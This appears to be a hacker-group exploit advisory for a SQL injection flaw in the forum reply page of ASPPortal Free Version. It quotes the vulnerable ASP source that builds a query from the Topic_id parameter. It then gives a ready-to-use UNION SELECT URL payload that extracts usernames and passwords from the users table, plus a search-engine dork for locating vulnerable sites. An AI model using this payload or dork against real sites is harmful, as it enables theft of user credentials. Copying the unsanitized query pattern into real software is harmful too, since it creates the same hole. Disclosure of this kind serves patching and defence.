ASPPortal Free Version (Topic_Id) Remote SQL Injection Vulnerability

[+] Info:

[~] Bug found by Jose Luis Gуngora Fernбndez (JosS)
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com
[~] Spanish Hackers Team - [SHT]
[~] EspSeC & Hack0wn!.

[~] Software: ASPPortal Free Version
[~] HomePage: http://www.aspportal.net/
[~] Exploit: Remote SQL Injection Vulnerability [High]

[~] Dork: "Powered by www.aspportal.net"

[+] Remote SQL Injection:

[~] Vuln file: /content/forums/reply.asp

// -------------------------------------- //

line 2: <%
Dim TopicID
Dim ForumID

    TopicID = Server.HTMLEncode(request("Topic_id"))
    ForumID = Server.HTMLEncode(request("Forum_ID"))

%>
<%
'sub db_select_detail_Disc_Topics
sql="SELECT Forums_Topics.Topic_ID, Forums_Topics.Forum_ID, Forums_Topics.Author,
Forums_Topics.Topic_Subject, Forums_Topics.Topic_Message, Forums_Topics.IsActive, Forums_Topics.IsLocked,
Forums_Topics.Date_Added, Forums_Topics.Created_By, Forums_Topics.Enable_EMail, Forums_Topics.Enable_Sign,
Forums_Topics.Icon, users.Username, users.User_id, users.Signature FROM users RIGHT OUTER JOIN
Forums_Topics ON users.User_id = Forums_Topics.Author Where Topic_ID = " & to_sql(TopicID,"number") & ""

    'response.write sql     
    
    set rs = cn.Execute(sql)

line 21: TopicId = rs("Topic_Id")

// -------------------------------------- //

[~] http://localhost/PATH/content/forums/reply.asp?Forum_Id=3&amp;Topic_Id=[SQL]
[~] 6+and+1=2+union+select+1,2,3,4,Password,6,7,Username,9,0,1,2,3,4,5+from+users

[~] GreeTz: str0ke; nhh-32; an0de; ka0x; s3ism0; ayin; k0rde; zy0nx; you_kn0w; ssh-2; nettoxic; phnx;
murder; and more…

• In memory of rgod